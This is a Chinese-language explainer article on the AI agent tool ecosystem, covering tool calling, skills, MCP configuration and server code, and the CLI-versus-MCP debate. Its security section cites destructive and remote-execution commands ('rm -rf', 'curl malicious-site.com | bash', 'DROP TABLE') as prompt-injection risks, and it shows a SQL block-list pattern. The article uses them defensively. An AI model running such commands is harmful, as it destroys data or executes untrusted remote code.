AI Agent 工具生态全景:Skill、MCP 与 CLI 之争,一文全搞懂

前言

随着大语言模型（LLM）的快速普及，围绕 AI Agent 的工具生态正在迅速成形，一批新词汇也随之涌现：Tool、Skill、Tool Calling、MCP、CLI、skills.sh……

这些词看起来相似，实则分属不同层次，各自解决不同的问题。更容易让人困惑的是，”Skill”这个词在不同场景下含义截然不同——有时指”工具集”，有时又指”领域知识文件”。

本文将从零开始，带你建立一个完整清晰的认知框架：

• ‎Tool（工具）：AI 可调用的最小执行单元，即单个函数
• ‎Skill（技能集）：一组相关 Tool 的集合，代表 AI 的某项完整能力（Tool Set）
• ‎Tool Calling：LLM 触发工具调用的整套机制
• ‎知识型 Skill（skills.sh）：名字相同、但完全不同——给 Agent 注入领域知识的 Markdown 文件
• ‎MCP：标准化 AI 与工具连接的开放协议
• ‎CLI：社区热议的 MCP 轻量替代方案
• ‎AI Agent：将以上所有整合起来的终极形态

阅读完本文，你将能清楚地回答：这些概念各自是什么、有什么区别、在实际开发中如何选择。

一、为什么 AI 需要外部工具？

“GPT-4 / Claude 这么聪明，为什么不能直接帮我查今天的天气？”

因为 大语言模型本质上是一个文本预测机器。它的知识来自训练数据，有截止日期，没有联网能力，也无法主动操作外部系统。

要让 AI 真正”能干活”，就必须给它装上与外部世界交互的能力。业界为此发展出了三条技术路线：

这三条路线并不互斥，而是可以叠加使用，共同构成强大的 AI Agent 能力体系。下面逐一拆解。

二、Tool、Skill 与 Tool Calling：三个容易混淆的概念

在正式介绍 MCP 之前，有三个基础概念必须先讲清楚，因为它们经常被混用。

2.1 Tool（工具）：最小执行单元

Tool 是一个具体的、可被 AI 调用的单个函数，有明确的名称、输入参数和返回值。它是粒度最细的单位——就像一个普通函数，只做一件事。

// 一个 Tool 的定义示例
{
  "name": "get_current_weather",
  "description": "获取指定城市当前的天气",
  "parameters": {
    "city": { "type": "string", "description": "城市名称" }
  }
}

2.2 Skill（技能集）：一组相关 Tool 的集合

Skill 不是单个工具，而是一组为了完成某项完整能力而组合在一起的 Tools，可以理解为 Tool Set（工具集）。

// 一个「天气 Skill」包含多个 Tools：
Skill: weather_skill
  ├── Tool: get_current_weather   // 查当前天气
  ├── Tool: get_forecast          // 查未来预报
  └── Tool: get_air_quality       // 查空气质量

// 一个「数据库 Skill」包含多个 Tools：
Skill: database_skill
  ├── Tool: query_records         // 查询记录
  ├── Tool: insert_record         // 插入数据
  └── Tool: update_record         // 更新数据

给 AI 装上「搜索 Skill」，它获得了搜索相关的一组能力；装上「代码执行 Skill」，它能读写并运行代码。Skill 是 AI 的”技能包”，Tool 是技能包里的每一个具体动作。

类比软件工程：

2.3 Tool Calling（工具调用）：AI 触发工具的机制

Tool Calling（也叫 Function Calling）是 LLM 决定调用 Tool 的整套触发机制——从识别意图到输出结构化请求、再到应用层执行并返回结果。

技术演进：从 Plugin 到 Function Calling

OpenAI 2023年推出 Plugin 机制，允许 ChatGPT 调用第三方服务，但因管理过于复杂逐渐被淘汰。现在各大模型均支持更精确的 Function Calling / Tool Calling。完整调用流程如下：

[用户] → "帮我查北京今天的天气"
           ↓
[LLM]  → 分析意图，判断需要调用天气工具
           ↓
[LLM 输出结构化调用请求]
  {
    "tool": "get_weather",
    "params": { "city": "北京" }
  }
           ↓
[应用层] → 拦截请求，调用真实的天气 API
           ↓
[API 返回] → { "temp": "22°C", "weather": "晴" }
           ↓
[LLM]  → 接收结果，整合成自然语言
           ↓
[用户] ← "北京今天天气晴，气温 22°C"

2.4 三者关系一图看懂

Skill（技能集 / Tool Set）
  ├── Tool: get_current_weather    ← 单个工具函数
  ├── Tool: get_forecast
  └── Tool: get_air_quality

Tool Calling（触发机制）
  LLM 分析意图
    → 从 Skill 中选择合适的 Tool
    → 输出结构化调用请求
    → 应用层执行真实逻辑
    → 结果回传给 LLM → 生成回复

一句话区分：Tool 是具体函数，Skill 是一组 Tool 的集合（能力包），Tool Calling 是 AI 触发这些 Tool 的机制。

三、知识型 Skill：另一种”技能”——给 AI 注入专业知识

学习 Tool Calling 时，你可能还会搜索到 skills.sh 这个平台，并看到很多人在讨论”安装 Skill”。这里需要提前做一个重要的概念区分：

skills.sh 的 Skill 和 Tool Calling 的”工具”完全不是同一回事。

3.1 skills.sh 是什么？

skills.sh 是由 Vercel Labs 主导的开源 AI Agent 技能生态平台。它的 Skill 本质上是一个结构化的 Markdown 知识文件，安装后作为 Agent 的”参考手册”读入上下文，让 Agent 在完成特定任务时遵循专业规范。

# 安装一个知识型 Skill（下载 Markdown 指令文件到项目中）
npx skills add vercel-labs/agent-skills

安装后项目中会出现类似这样的文件：

.cursor/rules/vercel-react-best-practices.md               # Cursor
.github/instructions/vercel-react-best-practices.instructions.md  # GitHub Copilot

AI Agent 读取这些文件，就”习得”了该领域的专业规范，写出的代码自然更符合最佳实践。

3.2 两种 Skill 的对比

3.3 一个直觉比喻

想象你招了一个新员工（AI Agent）：

• ‎Tool Calling 工具：给他配备了工具箱——电话、电脑、打印机（具体可执行的能力）
• ‎skills.sh 知识型 Skill：给他一本《公司操作手册》——告诉他遇到各种情况该怎么思考和处理（专业知识与规范）

两种”Skill”共用了同一个单词，但一个是工具，一个是知识。搞清楚这个区别，后续所有概念都会更清晰。

四、MCP：解决工具连接的标准化问题

有了 Tool Calling 机制，AI 已经能调用工具了。但新问题随之出现：每接入一个新工具都要重复造轮子，而且不同 AI 平台之间完全不兼容。

这就是 MCP 要解决的问题。

4.1 痛点：M×N 的适配地狱

假设有 M 个 AI 模型，N 个工具：

传统方式：每对模型 + 工具都需要单独适配

Claude  ──→ 天气 API 适配  (1套)
Claude  ──→ 数据库适配     (1套)
GPT-4   ──→ 天气 API 适配  (1套) ← 重复！
GPT-4   ──→ 数据库适配     (1套) ← 重复！
...

总计需要 M × N 套适配代码，维护成本极高

4.2 MCP 是什么？

MCP（Model Context Protocol） 是由 Anthropic 于 2024年11月 发布的一套开放标准协议，定义了 AI 模型与外部工具、数据源之间通信的统一规范。

一句话概括：

MCP 是 AI 世界的”USB 接口”——只要工具实现了 MCP 协议，任何支持 MCP 的 AI 都能即插即用。

4.3 MCP 的解法：M+N

MCP 方式：工具只需实现一次 MCP Server

天气工具  ──→ MCP Server（一次实现）
数据库    ──→ MCP Server（一次实现）
文件系统  ──→ MCP Server（一次实现）

Claude、GPT、Gemini... 均通过统一的 MCP Client 接入
→ 总计只需 M + N 套代码，大幅降低维护成本

4.4 MCP 架构图

┌──────────────────────────────────────────┐
│              MCP 完整架构                │
│                                          │
│  ┌──────────┐     ┌──────────────────┐   │
│  │   Host   │←──→ │    MCP Client    │   │
│  │ (Claude/ │     │   (协议通信层)    │   │
│  │  VSCode) │     └────────┬─────────┘   │
│  └──────────┘              │ MCP 协议    │
│                   ┌────────┴─────────┐   │
│                   │    MCP Server    │   │
│                   │   (工具提供方)    │   │
│                   └────────┬─────────┘   │
│                            │             │
│             ┌──────────────┴───────────┐ │
│             │    真实资源 / 工具        │ │
│             │  文件系统 / 数据库 / API  │ │
│             └──────────────────────────┘ │
└──────────────────────────────────────────┘

4.5 MCP 的三大核心概念

① Resources（资源） — 服务器暴露可读取的数据：

resource: {
  uri: "file:///project/README.md",
  name: "项目说明文档",
  mimeType: "text/markdown"
}

② Tools（工具） — 服务器提供的可执行操作：

tool: {
  name: "execute_sql",
  description: "执行 SQL 查询并返回结果",
  inputSchema: {
    query: "string"   // SQL 语句
  }
}

③ Prompts（提示模板） — 服务器提供预定义的提示词，帮助用户高效完成特定任务。

4.6 MCP 通信流程（伪代码）

// Step 1：MCP Client 连接 Server，发现能力列表
client.connect(server)
→ server.listTools()      // 返回所有可用工具
→ server.listResources()  // 返回所有可读资源

// Step 2：LLM 决定调用某个工具
llm.think("用户要查数据库，需要 execute_sql 工具")

// Step 3：MCP Client 向 Server 发起调用
result = client.callTool({
  name: "execute_sql",
  arguments: { query: "SELECT * FROM users LIMIT 10" }
})

// Step 4：Server 执行并返回结构化结果
→ result: [
    { id: 1, name: "Alice" },
    { id: 2, name: "Bob" }
  ]

// Step 5：LLM 使用结果生成自然语言回复
llm.respond(result)

五、MCP 实战：从配置到实现

5.1 主流 MCP Server 生态

目前官方和社区已提供大量开箱即用的 MCP Server：

官方 MCP Server 示例：
├── @modelcontextprotocol/server-filesystem   # 本地文件操作
├── @modelcontextprotocol/server-github       # GitHub 操作
├── @modelcontextprotocol/server-postgres     # PostgreSQL 数据库
├── @modelcontextprotocol/server-sqlite       # SQLite 数据库
├── @modelcontextprotocol/server-brave-search # 网络搜索
└── @modelcontextprotocol/server-puppeteer    # 浏览器自动化

5.2 在 Claude Desktop 中配置 MCP

// claude_desktop_config.json
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": [
        "@modelcontextprotocol/server-filesystem",
        "/Users/your-name/Documents"
      ]
    },
    "github": {
      "command": "npx",
      "args": ["@modelcontextprotocol/server-github"],
      "env": {
        "GITHUB_PERSONAL_ACCESS_TOKEN": "your-token"
      }
    }
  }
}

配置完成后，Claude 就能直接读写本地文件、操作 GitHub 仓库。

5.3 实现一个极简 MCP Server（Node.js 伪代码）

import { McpServer } from "@modelcontextprotocol/sdk/server";

const server = new McpServer({
  name: "my-tools",
  version: "1.0.0"
});

// 注册工具
server.tool(
  "get_weather",           // 工具名称
  "获取城市天气",           // 工具描述
  { city: z.string() },   // 参数 Schema（使用 Zod 校验）
  async ({ city }) => {
    const weather = await fetchWeatherAPI(city);
    return {
      content: [{
        type: "text",
        text: `${city}今天 ${weather.temp}°C，${weather.condition}`
      }]
    };
  }
);

// 通过 stdio 启动，与 MCP Client 通信
server.run();

六、社区争议：CLI 是比 MCP 更好的方案吗？

MCP 发布后，社区并非一片叫好。越来越多的开发者开始发声：

“我们真的需要 MCP 吗？直接用 CLI（命令行工具）不香吗？”

这个讨论触及了工程实践的核心，值得认真对待。

6.1 CLI 方案的核心主张

CLI 派认为：Shell 命令本身就是最好的”工具协议”。

CLI 调用方式（伪代码）：

agent.runCommand("git log --oneline -10")
→ 输出:
  a1b2c3d fix: 修复登录 bug
  e4f5g6h feat: 新增用户模块

agent.runCommand("curl https://api.weather.com/beijing")
→ 输出: {"temp": "22°C", "condition": "晴"}

没有 Server，没有协议握手，没有 JSON Schema，直接运行命令，结果直接返回给 LLM。

6.2 CLI vs MCP：全面对比

6.3 支持 CLI 的核心论据

论据一：数十年的 CLI 生态无需改造

git、curl、jq、ffmpeg、psql……这些工具 AI 直接调用即可：

git diff HEAD~1
docker ps --format "table {{.Names}}\t{{.Status}}"
psql -c "SELECT count(*) FROM users"
jq '.items[] | .name' data.json

论据二：MCP Server 本身引入了新的复杂性

MCP 方案的隐藏成本：
  1. 编写 MCP Server 代码
  2. 部署并保持 Server 持续运行
  3. 处理 Server 崩溃与重启
  4. 跨版本兼容问题
  5. 协议层调试困难

CLI 方案：工具装好 → AI 直接运行 → 完成

论据三：LLM 天生理解命令行

LLM 训练数据中包含大量 Shell 文档与示例，理解 CLI 的能力远超理解私有 MCP Server。

6.4 MCP 的反驳：CLI 并非银弹

① CLI 存在严重安全风险

给 AI 直接运行 Shell 命令，等于把钥匙交给了一个你无法完全信任的执行者：

# AI 误操作或被 Prompt 注入攻击时可能执行：
rm -rf /important-data
curl malicious-site.com | bash
# 通过 psql 直接执行：
DROP TABLE users;

MCP Server 可以做到最小权限原则：

// MCP Server 权限控制（伪代码）
tool: execute_sql
  allowedPatterns: [/^SELECT/i]        // 只允许查询
  blockedPatterns: [/DELETE|DROP|TRUNCATE/i]  // 拦截危险操作

② CLI 输出格式对 LLM 不友好

# 给人看的格式，LLM 解析容易出错
docker ps
CONTAINER ID   IMAGE   COMMAND   CREATED        STATUS
a1b2c3d4e5f6   nginx   "nginx"   2 hours ago    Up 2 hours

MCP 工具返回结构化 JSON，模型处理更稳定、更准确。

③ 跨平台行为不一致

同一个 MCP Server 在 Windows/macOS/Linux 行为完全一致；CLI 命令语法在不同系统间存在差异（如 sed、date 等）。

6.5 社区主流结论：因地制宜，而非非此即彼

场景选型建议：

优先选 CLI：
  ✓ 快速原型验证 / 个人本地工具
  ✓ 调用现有成熟 CLI 工具
  ✓ 团队 Shell 经验丰富

优先选 MCP：
  ✓ 生产环境 / 企业级部署
  ✓ 需要精细权限控制与安全合规
  ✓ 工具需跨多个 AI 平台复用
  ✓ 需要稳定的结构化返回值

“MCP 本质上是对工具调用的一层标准化封装。先用 CLI 跑通逻辑，再按需封装成 MCP Server，这才是合理的演进路径。”

6.6 实践中的混合架构

很多项目已在这样使用：MCP 负责权限与标准化，CLI 负责实际执行。

// MCP Server 内部调用 CLI 工具（伪代码）
tool: run_git_command
  handler: async ({ command }) => {
    // 白名单校验，只允许只读操作
    if (!ALLOWED_GIT_CMDS.includes(command)) {
      throw new Error("不允许的命令");
    }
    // 内部通过 CLI 执行
    const result = await exec(`git ${command}`);
    return { output: result.stdout };
  }

七、AI Agent：所有概念的综合体

理解了上述所有概念，再来看 AI Agent（智能体） 就水到渠成了。

7.1 Agent 工作循环

┌──────────────────────────────────────────┐
│              Agent 工作循环              │
│                                          │
│  用户输入任务                            │
│     ↓                                    │
│  LLM 思考（ReAct 模式：推理 + 行动）     │
│     ↓                                    │
│  ┌─ 需要工具？ ──是──→ 选择合适工具      │
│  │                         ↓             │
│  │              通过 MCP 或 CLI 调用      │
│  │                         ↓             │
│  │              获得工具返回结果          │
│  │                         ↓             │
│  └──────────── 继续推理 ←──┘             │
│     ↓（任务完成）                        │
│  输出最终结果给用户                       │
└──────────────────────────────────────────┘

7.2 四个维度的完整全景

┌────────────────────────────────────────────────────┐
│                  AI Agent 能力全景                  │
│                                                    │
│  ┌──────────────────────────────────────────────┐  │
│  │  知识层：skills.sh 知识型 Skill               │  │
│  │  Markdown 指令文件 → 注入专业领域知识           │  │
│  │  "知道怎么做得更好"                            │  │
│  └──────────────────────────────────────────────┘  │
│                        ↓                           │
│  ┌──────────────────────────────────────────────┐  │
│  │  能力层：Tool Calling / Function Calling      │  │
│  │  工具声明 + 应用层实现 → 调用外部工具           │  │
│  │  "有能力去做"                                 │  │
│  └──────────────────────────────────────────────┘  │
│                        ↓                           │
│  ┌──────────────────────────────────────────────┐  │
│  │  协议层：MCP 或 CLI                           │  │
│  │  MCP → 标准化、跨平台、生产级                  │  │
│  │  CLI → 轻量、快速、直接复用现有工具             │  │
│  │  "用什么方式去做"                             │  │
│  └──────────────────────────────────────────────┘  │
│                        ↓                           │
│  ┌──────────────────────────────────────────────┐  │
│  │  决策层：LLM                                  │  │
│  │  理解意图、推理规划、决定何时调用哪个工具        │  │
│  │  "想做什么 / 何时做"                          │  │
│  └──────────────────────────────────────────────┘  │
└────────────────────────────────────────────────────┘

• ‎LLM 是大脑：负责理解、推理、决策
• ‎知识型 Skill 是经验：让 AI 做得更专业
• ‎Tool Calling 是手脚：定义具体行动能力
• ‎MCP / CLI 是神经通路：负责标准化传递与执行

八、总结

五句话记住核心：

1. ‎Tool Calling 让 AI 从”只会说话”变成”能干活”
2. ‎知识型 Skill 让 AI 从”能干活”变成”干得专业”
3. ‎MCP 让工具接入从”重复造轮子”变成”即插即用”
4. ‎CLI 是 MCP 的轻量替代，适合快速验证和本地场景
5. ‎四者组合，才能构建真正强大的 AI Agent

写在最后

从 Tool Calling 到 MCP，从 CLI 争论到 skills.sh 生态，AI Agent 工具链正在快速演进，各个层次的标准都还在形成中。

没有”唯一正确答案”——理解每种方案背后的设计哲学和适用边界，才能在实际项目中做出最合适的选择。

技术在变，但理解底层原理的能力，才是开发者最核心的竞争力。